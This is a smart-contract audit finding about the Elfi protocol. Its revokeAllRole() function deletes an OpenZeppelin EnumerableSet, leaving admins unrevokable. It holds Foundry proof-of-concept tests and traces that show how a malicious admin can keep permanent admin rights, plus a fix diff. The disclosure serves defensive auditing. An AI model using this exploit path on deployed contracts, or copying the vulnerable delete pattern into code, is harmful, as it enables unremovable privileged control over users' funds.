Howling Hazelnut Cuckoo

High

# `revokeAllRole()` corrupts the EnumerableSet leaving the targets permissions active and making their role unrevokable

## Summary

The OpenZeppelin EnumerableSet library is used to facilitate the mapping of account addresses to protocol roles for access control purposes. The current implementation of `RoleAccessControl::revokeAllRole()` attempts to clear all roles from a target address by using the `delete` keyword on the mapping entry of type EnumerableSet.Bytes32Set. This approach is [explicitly warned against in the EnumerableSet documentation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/442886ed5ff8a0b9ab477b191f5238541ee6d772/contracts/utils/structs/EnumerableSet.sol#L28-L38) because it can corrupt the data and renders the structure unusable. 

## Vulnerability Detail

Currently when an admin calls revokeAllRole on a target user it appears to work but the EnumerableSet.Bytes32Set mapping entry for the target gets silently corrupted leaving their permissions intact. As the PoC below demonstates any future attempt to individually call revokeRole on the target user will revert because of this same data corruption effectively making the target user unstoppable. 

## Proof of Concept

The expandable sections below shows a minimal foundry setup and test cases to reproduce the issue as well as the console output confirming the bug

<details>
  <summary>revokeAllRole silently fails example</summary>


This foundry test file completes the minimally required Diamond deployment and configuration in the setup function. Then runs an individual test case that demonstrate the most critical aspects of this issue.  

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";
import {DiamondInit} from "../src/contracts/router/DiamondInit.sol";
import {Diamond} from "../src/contracts/router/Diamond.sol";
import {DiamondCutFacet} from "../src/contracts/facets/DiamondCutFacet.sol";
import {DiamondLoupeFacet} from "../src/contracts/facets/DiamondLoupeFacet.sol";
import {RoleAccessControlFacet} from "../src/contracts/facets/RoleAccessControlFacet.sol";

import { IDiamond } from "../src/contracts/interfaces/IDiamond.sol";
import { IDiamondLoupe } from "../src/contracts/interfaces/IDiamondLoupe.sol";
import { IDiamondCut } from "../src/contracts/interfaces/IDiamondCut.sol";

import "../src/contracts/storage/RoleAccessControl.sol";

contract RoleAccessFacetTest is Test {
    Diamond public diamondInstance;
    DiamondInit public diamondInit;
    DiamondCutFacet public diamondCutFacet;
    DiamondLoupeFacet public diamondLoupeFacet;
    RoleAccessControlFacet public roleAccessControlFacet;

    address owner = address(this);

    function setUp() public {
        diamondInit = new DiamondInit();
        console.log("DiamondInit deployed to", address(diamondInit));
        
        diamondCutFacet = new DiamondCutFacet();
        console.log("DiamondCutFacet deployed to", address(diamondCutFacet));

        diamondLoupeFacet = new DiamondLoupeFacet();
        console.log("DiamondLoupeFacet deployed to", address(diamondLoupeFacet));

        diamondInstance = new Diamond(address(diamondCutFacet), address(diamondLoupeFacet), address(diamondInit), owner);
        console.log("Diamond deployed to", address(diamondInstance));

        // Add RoleAccess Facet
        roleAccessControlFacet = new RoleAccessControlFacet();
        console.log("RoleAccessControlFacet deployed to", address(roleAccessControlFacet));

        IDiamondCut diamondCutInstance = IDiamondCut(address(diamondInstance));
   
        IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);
        bytes4[] memory roleFunctionSelectors = new bytes4[](4);
        roleFunctionSelectors[0] = RoleAccessControlFacet.hasRole.selector;
        roleFunctionSelectors[1] = RoleAccessControlFacet.grantRole.selector;
        roleFunctionSelectors[2] = RoleAccessControlFacet.revokeRole.selector;
        roleFunctionSelectors[3] = RoleAccessControlFacet.revokeAllRole.selector;
        cut[0] = IDiamond.FacetCut({
            facetAddress: address(roleAccessControlFacet),
            action: IDiamond.FacetCutAction.Add,
            functionSelectors: roleFunctionSelectors
        });

        diamondCutInstance.diamondCut(cut, address(0), new bytes(0));
    }

    function test_adminCanRevokeAllGrantedRoles() public {
        RoleAccessControlFacet diamondRoles = RoleAccessControlFacet(address(diamondInstance));
        address bob = address(123);

        vm.startPrank(owner);
        diamondRoles.grantRole(bob, RoleAccessControl.ROLE_ADMIN);
        assertEq(diamondRoles.hasRole(bob, RoleAccessControl.ROLE_ADMIN), true);

        // call succeeds but owner unknowingly fails to revoke any of bobs roles
        diamondRoles.revokeAllRole(bob);

        // Future attempts to individually remove role cause panic revert
        vm.expectRevert();
        diamondRoles.revokeRole(bob, RoleAccessControl.ROLE_ADMIN);

        // Despite attempts to revoke roles bob still has the admin role
        assertEq(diamondRoles.hasRole(bob, RoleAccessControl.ROLE_ADMIN), true);

        // bob can still successfully call the protected grantRole function
        address alice = address(456);
        vm.startPrank(bob);
        diamondRoles.grantRole(alice, RoleAccessControl.ROLE_ADMIN);

        // Confirm bob was able to make alice an admin
        assertEq(diamondRoles.hasRole(alice, RoleAccessControl.ROLE_ADMIN), true);
    }

}

```

The output below shows that the owner can grant admin role to user bob, then successfully call revokeAllRole on bob to "remove" his roles. A call to individually revokeRole was included to show the only other way to remove roles will now always revert. When the diamond is queried it returns that bob still has the admin role due to he corrupted EnumerableSet.Bytes32Set. This is demonstrated as bob is able to call the protected grantRole function and make a random user an admin. 

```solidity
Ran 1 test for test/RoleAccessFacet.t.sol:RoleAccessFacetTest
[PASS] test_adminCanRevokeAllGrantedRoles() (gas: 134728)
Logs:
  DiamondInit deployed to 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  DiamondCutFacet deployed to 0x2e234DAe75C793f67A35089C9d99245E1C58470b
  DiamondLoupeFacet deployed to 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
  Diamond deployed to 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
  RoleAccessControlFacet deployed to 0xc7183455a4C133Ae270771860664b6B7ec320bB1

Traces:
  [138940] RoleAccessFacetTest::test_adminCanRevokeAllGrantedRoles()
    ├─ [0] VM::startPrank(RoleAccessFacetTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← [Return] 
    ├─ [75079] Diamond::grantRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000)
    │   ├─ [70126] RoleAccessControlFacet::grantRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [3499] Diamond::hasRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000) [staticcall]
    │   ├─ [1043] RoleAccessControlFacet::hasRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::assertEq(true, true) [staticcall]
    │   └─ ← [Return] 
    ├─ [4344] Diamond::revokeAllRole(0x000000000000000000000000000000000000007B)
    │   ├─ [1894] RoleAccessControlFacet::revokeAllRole(0x000000000000000000000000000000000000007B) [delegatecall]
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← [Return] 
    ├─ [4635] Diamond::revokeRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000)
    │   ├─ [2175] RoleAccessControlFacet::revokeRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    ├─ [1499] Diamond::hasRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000) [staticcall]
    │   ├─ [1043] RoleAccessControlFacet::hasRole(0x000000000000000000000000000000000000007B, 0x41444d494e000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::assertEq(true, true) [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
    │   └─ ← [Return] 
    ├─ [68579] Diamond::grantRole(0x00000000000000000000000000000000000001c8, 0x41444d494e000000000000000000000000000000000000000000000000000000)
    │   ├─ [68126] RoleAccessControlFacet::grantRole(0x00000000000000000000000000000000000001c8, 0x41444d494e000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [1499] Diamond::hasRole(0x00000000000000000000000000000000000001c8, 0x41444d494e000000000000000000000000000000000000000000000000000000) [staticcall]
    │   ├─ [1043] RoleAccessControlFacet::hasRole(0x00000000000000000000000000000000000001c8, 0x41444d494e000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::assertEq(true, true) [staticcall]
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.18ms (243.47µs CPU time)
```
</details>


<details>
  <summary>admin can silently self-invoke revokeAllRole and become unstoppable</summary>

```solidity
    function test_selfRevokeAllRoles() public {
        RoleAccessControlFacet diamondRoles = RoleAccessControlFacet(address(diamondInstance));
        address bob = address(123);

        vm.startPrank(owner);
        diamondRoles.grantRole(bob, RoleAccessControl.ROLE_ADMIN);
        assertEq(diamondRoles.hasRole(bob, RoleAccessControl.ROLE_ADMIN), true);
        vm.stopPrank();

        // Malicious admin can go god mode (silently corrupts data)
        vm.startPrank(bob);
        diamondRoles.revokeAllRole(bob);

        assertEq(diamondRoles.hasRole(bob, RoleAccessControl.ROLE_ADMIN), true);
        
        // even bob can't stop himself
        vm.expectRevert();
        diamondRoles.revokeRole(bob, RoleAccessControl.ROLE_ADMIN);
    }
```
</details>

## Impact

The worst case scenario would be a compromised / malicious admin being aware of this and calling revokeAllRole on themselves. They could then remove roles from all other users, including other admins, and proceed to wreak havoc on the system with no way to stop them. 

The base scenario would be that a situation arises that requires the removal of a role(s) / permissions from a user. The well-meaning admin would call the revokeAllRole function which would not revert or give any error giving the mistaken impression that the operation was successful. The target user which was supposed to be striped of roles / permissions still silently retains them and now cannot have them removed because individually calling revokeRole on their corrupted entry in the EnumerableSet.Bytes32Set will revert. 

**Important Note**
This issue focuses on the impact this use of the `delete` keyword can have on roles and access control because this likely has the greatest negative impact. However there is a similar delete in the current implementation of `LpPool::subStableToken()`. They have been grouped in this single issue because impacts of this both stem from the same root cause. 

 In the case of the LpPool the subStableToken function attempts to delete a mapping entry of type TokenBalance (which is located in storage) when the balance of that stable token hits 0. 

We can see that TokenBalance contains an EnumerableMap.AddressToUintMap [this is explicitly warned against by OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/442886ed5ff8a0b9ab477b191f5238541ee6d772/contracts/utils/structs/EnumerableMap.sol#L32-L49).

```solidity 
    struct TokenBalance {
        uint256 amount;
        uint256 liability;
        uint256 holdAmount;
        int256 unsettledAmount;
        uint256 lossAmount;
 >      EnumerableMap.AddressToUintMap collateralTokenAmounts;
    }
```

It is advised that the team also investigate this and decide what (if any) changes need to be made to how collateralTokenAmounts are cleared in this case. With the worst case impact being that these values which were intended to be cleared might be still accessible or usable in unexpected ways due to delete mainly adjusting references with these complex types and not actually resetting the values. 

## Code Snippet

https://github.com/sherlock-audit/2024-05-elfi-protocol/blob/8a1a01804a7de7f73a04d794bf6b8104528681ad/elfi-perp-contracts/contracts/storage/RoleAccessControl.sol#L59

https://github.com/sherlock-audit/2024-05-elfi-protocol/blob/8a1a01804a7de7f73a04d794bf6b8104528681ad/elfi-perp-contracts/contracts/storage/LpPool.sol#L286

## Tool used

Manual Review, Foundry

## Recommendation

Avoid using the delete keyword on complex structures like OpenZeppelin EnumerableSet and EnumerableMap, instead follow the [OpenZeppelin recommendation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/442886ed5ff8a0b9ab477b191f5238541ee6d772/contracts/utils/structs/EnumerableSet.sol#L37-L38) shown below:

>  In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an array of EnumerableSet.


In the case of account roles individual removal works because there are a small number of fixed roles. It's worth noting that individual remove works as expected even if some of the values to be removed aren't present in the set. This is because removal of a non-existent value results in no deletion taking place and the value of false being returned from the operation.


```diff
File: RoleAccessControl.sol
 
    function revokeAllRole(address account) internal {
        Props storage self = load();
-       delete self.accountRoles[account];

+        self.accountRoles[account].remove(ROLE_ADMIN);
+        self.accountRoles[account].remove(ROLE_UPGRADE);
+        self.accountRoles[account].remove(ROLE_CONFIG);
+        self.accountRoles[account].remove(ROLE_KEEPER);
    }
```
